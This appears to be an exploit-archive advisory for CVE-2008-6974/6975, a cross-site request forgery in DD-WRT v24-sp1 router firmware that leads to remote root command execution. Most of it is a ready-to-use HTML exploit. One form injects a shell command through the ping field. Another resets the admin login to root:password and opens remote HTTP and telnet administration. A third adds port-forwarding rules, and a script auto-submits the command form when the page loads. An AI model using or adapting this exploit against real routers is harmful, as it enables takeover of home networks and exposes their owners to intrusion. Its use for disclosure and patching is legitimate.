Multiple XSRF in DD-WRT (Remote Root Command Execution)

2008-12-08 / 2008-12-09
Credit: th3.r00k.ieatpork_at_gmail.pork.com
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2008-6974 | CVE-2008-6975
CWE: CWE-352

Author: Michael Brooks (!!!!) I usually don't like posting my leet exploits to bugtraq because it is so unprofessional. You guys usually malform my exploits so they are totally useless, even to someone trying to write a patch! You also tend to get the wrong name! Michael Brooks wrote this! Exploits tested on the newest stable version: Firmware: DD-WRT v24-sp1 (07/27/08) micro Product Homepage:http://dd-wrt.com/ Impact: 1)Remote root command execution /bin/sh 2)Change web administration password and enable remote administration 3)create new Port Forwarding rules to bypass NAT. <html> <head> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"> </head> Remote root command execution /bin/sh <form method="post" action="http://192.168.1.1/apply.cgi" id=1> <input name="submit_button" value="Ping" type="hidden"> <input name="action" value="ApplyTake" type="hidden"> <input name="submit_type" value="start" type="hidden"> <input name="change_action" value="gozila_cgi" type="hidden"> <input name="next_page" value="Diagnostics.asp" type="hidden"> <input name="ping_ip" value="echo owned"> <input name="execute command" type="submit"> </form><br><br> enable remote administration and change login to root:password <form method="post" action="http://192.168.1.1/apply.cgi"> <input name="submit_button" value="Management" type="hidden"> <input name="action" value="ApplyTake" type="hidden"> <input name="change_action" value="" type="hidden"> <input name="submit_type" value="" type="hidden"> <input name="commit" value="1" type="hidden"> <input name="PasswdModify" value="0" type="hidden"> <input name="remote_mgt_https" value="" type="hidden"> <input name="http_enable" value="1" type="hidden"> <input name="info_passwd" value="0" type="hidden"> <input name="https_enable" value="" type="hidden"> <input name="http_username" value="root" type="hidden"> <input name="http_passwd" value="password" type="hidden"> <input name="http_passwdConfirm" value="password" type="hidden"> <input name="_http_enable" value="1" type="hidden"> <input name="refresh_time" value="3" type="hidden"> <input name="status_auth" value="1" type="hidden"> <input name="maskmac" value="1" type="hidden"> <input name="remote_management" value="1" type="hidden"> <input name="http_wanport" value="8080" type="hidden"> <input name="remote_mgt_telnet" value="1" type="hidden"> <input name="telnet_wanport" value="23" type="hidden"> <input name="boot_wait" value="on" type="hidden"> <input name="cron_enable" value="1" type="hidden"> <input name="cron_jobs" value="" type="hidden"> <input name="loopback_enable" value="1" type="hidden"> <input name="nas_enable" value="1" type="hidden"> <input name="resetbutton_enable" value="1" type="hidden"> <input name="zebra_enable" value="1" type="hidden"> <input name="ip_conntrack_max" value="512" type="hidden"> <input name="ip_conntrack_tcp_timeouts" value="3600" type="hidden"> <input name="ip_conntrack_udp_timeouts" value="120" type="hidden"> <input name="overclocking" value="200" type="hidden"> <input name="router_style" value="yellow" type="hidden"> <input name="Remote Admin" type="submit"> </form><br><br> Change Port Forwarding to byass NAT protection. <form method="post" action="http://192.168.1.1/apply.cgi"> <input name="submit_button" value="Change Port Forwarding" type="submit"> <input name="action" value="ApplyTake" type="hidden"> <input name="change_action" value="" type="hidden"> <input name="submit_type" value="" type="hidden"> <input name="forward_spec" value="13" type="hidden"> <input name="name0" value="Hacked" type="hidden"> <input name="from0" value="4450" type="hidden"> <input name="pro0" value="both" type="hidden"> <input name="ip0" value="192.168.1.100" type="hidden"> <input name="to0" value="445" type="hidden"> <input name="enable0" value="on" type="hidden"> <input name="name1" value="Hacked Again" type="hidden"> <input name="from1" value="22" type="hidden"> <input name="pro1" value="tcp" type="hidden"> <input name="ip1" value="192.168.1.101" type="hidden"> <input name="to1" value="22" type="hidden"> <input name="enable1" value="on" type="hidden"> </form> </html> <script> document.getElementById(1).submit();//remote root command execution! </script>

References:

http://www.securityfocus.com/archive/1/499135
http://www.securityfocus.com/archive/1/499119
http://www.securityfocus.com/archive/1/499024
http://www.milw0rm.com/exploits/9209
http://www.dd-wrt.com/phpBB2/viewtopic.php?t=55173


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